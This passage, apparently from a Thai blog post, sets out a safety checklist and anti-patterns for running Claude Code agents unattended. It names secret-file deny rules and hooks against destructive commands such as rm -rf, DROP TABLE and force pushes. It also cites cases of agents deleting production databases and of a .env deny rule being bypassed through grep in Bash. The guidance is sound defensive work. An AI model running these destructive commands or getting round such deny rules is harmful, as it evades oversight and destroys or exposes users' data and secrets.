ในทางปฏิบัติ ให้ใช้ไดเรกทอรี .claude แยกกันสำหรับงานแต่ละประเภท ฉันเก็บการตั้งค่าไว้สามชุดในเครื่อง: ~/projects/business-ops/.claude/ (ประเภท 1, เข้าถึงฐานข้อมูลได้ และปิดกั้นเครือข่ายยกเว้น internal APIs), ~/projects/inbox-parsing/.claude/ (ประเภท 2, ปิดกั้นเครือข่ายทั้งหมด), ~/projects/social-posting/.claude/ (ประเภท 3, อนุญาตเครือข่ายสำหรับ Telegram และ Slack APIs) แต่ละไดเรกทอรีเป็นโปรเจ็กต์แยกของ Claude Code ที่มี permissions และ hooks ของตัวเอง

ฉันตรวจรายการใดบ้างในเช็กลิสต์ 12 ข้อก่อนใช้ /loop?#

1. ~/.claude/settings.json ที่มี deny ระดับผู้ใช้สำหรับ .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/** นี่คือพื้นฐาน หากไม่มีข้อนี้ ที่เหลือก็ไม่มีประโยชน์

2. disableBypassPermissionsMode: "disable" ใน ~/.claude/settings.json ปิดกั้นแฟล็ก YOLO อย่างถาวร

3. ตัวอย่าง block-secret-reads.sh ทดสอบกับคำสั่งอ่านลับที่เลือกแล้ว และข้อมูลลับจริงกับ production credentials เข้าถึงไม่ได้จาก environment งานไม่เฝ้า

4. ตัวอย่าง block-force-push.sh บล็อก push ตรงตัวที่รู้จักไม่ว่าลำดับ flag หรือปลายทาง Git server บังคับ protected branches กับ credentials ที่ bypass ไม่ได้

5. hook block-destructive-sql.sh สำหรับ DROP TABLE, TRUNCATE และ DELETE FROM ที่ไม่มี WHERE

6. hook block-rm-rf.sh สำหรับ rm -rf ที่ไม่ระบุขอบเขตชัดเจน

7. hook ask-on-new-deps.sh สำหรับ npm install <new package> (แยกจาก npm install ที่ไม่มีอาร์กิวเมนต์)

8. hook ask-on-lockfile-change.sh สำหรับการเขียน package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml และ Cargo.toml

9. บันทึก audit.jsonl แบบครอบคลุมสำหรับการเรียก Bash, Write และ Edit ทั้งหมด หากไม่มี การวิเคราะห์หลังเกิดปัญหาก็เป็นไปไม่ได้

10. เซสชันเบื้องหลังระยะยาวทั้งหมดต้องทำงานใน worktree ไม่ใช่ branch หลัก: claude --bg "task" สร้าง worktree ให้อัตโนมัติ แต่ตรวจสอบว่า settings.json ไม่มี worktree.bgIsolation: "none"

11. ใช้ /sandbox ก่อนเริ่มงานอัตโนมัติระยะยาว ระบบไฟล์จำกัดอยู่ที่ไดเรกทอรีโปรเจ็กต์และ /tmp เครือข่ายใช้ allowlist ของ api.anthropic.com, github.com และ registry.npmjs.org

12. ขั้นตอนตรวจสอบภายในงาน: หลังการเปลี่ยนแปลงครั้งสำคัญทุกครั้ง ให้เรียกใช้ test runner หรือ linter หากไม่ผ่าน เอเจนต์จะไม่ทำต่อจนกว่าจะแก้ไขเรียบร้อย

ข้อสุดท้ายเป็นรูปแบบการทำงาน ไม่ใช่การตั้งค่าเครื่องมือ เปิดทางให้ Claude ตรวจสอบงานของตัวเอง หากไม่มีการตรวจสอบ เอเจนต์ที่ทำงานข้ามคืนจะวนอยู่กับ “คิดว่าทำถูกแล้ว ไปต่อ” และสะสมข้อผิดพลาดจนถึงเช้า แต่เมื่อมีการตรวจสอบ เอเจนต์จะไม่ทำต่อจนกว่าการตรวจจะผ่าน

7 รูปแบบที่ควรหลีกเลี่ยง: สิ่งที่ไม่ควรทำ#

1. ใช้ --dangerously-skip-permissions บนเครื่อง host ที่เข้าถึงโปรดักชันได้ Browningstreet สูญเสียฐานข้อมูลโปรดักชันและ dev ด้วยคำสั่ง “จัดการให้เรียบร้อย” เพียงคำสั่งเดียว ความผิดพลาดหนึ่งครั้งทำให้ต้องใช้เวลาหลายชั่วโมงเพื่อกู้คืน และอาจสูญเสียข้อมูลที่ไม่มีในข้อมูลสำรอง หากเกิดเหตุการณ์ไปแล้ว ให้เปิด “ทำอย่างไรเมื่อ AI ลบฐานข้อมูล: เช็กลิสต์การกู้คืน” แล้วทำตาม 10 ขั้นตอนตามลำดับ

2. พึ่งพา CLAUDE.md เพียงอย่างเดียวเพื่อความปลอดภัย Issue #44868 พิสูจน์ว่าโมเดลลงมือก่อนแล้วค่อยขอโทษ คำแนะนำในไฟล์ข้อความไม่สามารถปิดกั้นการเรียกใช้เครื่องมือได้ hook ที่ตั้งถูกบล็อกคำขอที่ตรงได้ ส่วน OS, sandbox และ access controls ฝั่งบริการบังคับขอบเขตกว้างกว่า CLAUDE.md มีความสำคัญต่อบริบทของโปรเจ็กต์ — ฉันเขียนถึงเรื่องนี้แยกไว้ใน “วิธีตั้งค่า CLAUDE.md ให้ถูกต้อง” — แต่ไม่สามารถป้องกันคุณจากเอเจนต์อัตโนมัติได้

3. พึ่งพา permissions.deny ใน settings.json เพียงอย่างเดียวโดยไม่มี hook เพิ่มเติม Issue #24846 เปิดมาตั้งแต่เดือนกุมภาพันธ์ 2026 สามารถหลบเลี่ยง deny สำหรับ .env* ผ่าน grep ใน Bash ได้ hook เพิ่มการตรวจได้ แต่ต้องกันข้อมูลลับออกจาก environment ไม่เฝ้าด้วย regex ไม่แทน access control แบบครบ

4. ถือว่า auto-mode กับ regex hooks เป็นการแยก production false-negative rate ที่อ้างเฉพาะการประเมิน และ hook ครอบคลุมไม่ครบ ต้องเอา credentials เขียน production ออกและตรวจขอบเขตที่บังคับ แทนสมมติว่าดักการกระทำอันตรายได้ทุกครั้ง

5. ติดตั้งแพ็กเกจใหม่ด้วย npm install โดยไม่ยืนยันก่อน การโจมตีห่วงโซ่อุปทานเกิดขึ้นจริง เหตุการณ์ Tea-tags ในปี 2024–2026 แสดงให้เห็นว่ามีแพ็กเกจชื่อคล้ายของจริงที่มียอดดาวน์โหลดหลายพันครั้ง คุณจำเป็นต้องมี allowlist

6. ไม่บันทึกการเรียก Bash หากไม่มีบันทึกตรวจสอบ คุณจะไม่เข้าใจว่าเกิดอะไรขึ้นระหว่างคืน บทสนทนายาว ไม่มีดัชนีตามคำสั่ง และไม่มีลำดับเวลา .claude/audit.jsonl แก้ปัญหาทั้งสองอย่าง

7. ไม่ใช้ worktree สำหรับเซสชันเบื้องหลัง เซสชันที่ทำงานพร้อมกันในไดเรกทอรีเดียวกันจะทับซ้อนงานของกันและกัน Claude Code มี worktree.bgIsolation ซึ่งเปิดไว้โดยค่าเริ่มต้นตั้งแต่เวอร์ชัน 2.1.143 แต่ควรตรวจสอบการตั้งค่าของคุณ

และสิ่งสำคัญที่สุดที่ไม่มี hook หรือการตั้งค่าใดป้องกันได้คือ:

วลีนี้ไม่ได้พูดถึงสำนวน ผู้ที่รับผิดชอบการป้องกันโปรดักชันคือคนที่เปิดใช้งานเอเจนต์ Claude Code เหมือนมีดโกนตรง: ใช้โกนหนวดก็ได้ หรือใช้บาดตัวเองก็ได้ การตั้งค่าตอบคำถามหนึ่งข้อว่า คุณเตรียมสภาพแวดล้อมไว้ดีพอหรือยัง เพื่อให้มีดโกนไม่ตัดสิ่งที่ไม่ควรถูกตัด?

ดูแหล่งข้อมูลเพิ่มเติมได้ที่ Ailoot.